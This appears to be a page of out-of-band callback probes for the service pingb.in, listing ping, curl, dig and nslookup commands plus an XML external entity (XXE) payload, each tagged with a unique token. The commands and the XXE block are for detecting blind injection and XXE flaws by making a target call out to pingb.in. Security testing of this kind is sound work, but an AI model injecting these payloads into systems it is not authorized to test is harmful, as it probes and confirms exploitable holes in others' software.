$ ping -c1 -p 0011a4aa157241431fcce64e90eae000 pingb.in
 

$ curl pingb.in/p/11a4aa157241431fcce64e90eae0
 

$ dig 11a4aa157241431fcce64e90eae0 @pingb.in
 

$ dig 11a4aa157241431fcce64e90eae0.ns.pingb.in
 

C:\> nslookup 11a4aa157241431fcce64e90eae0 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/11a4aa157241431fcce64e90eae0">]>
    <foo>&xxe;</foo>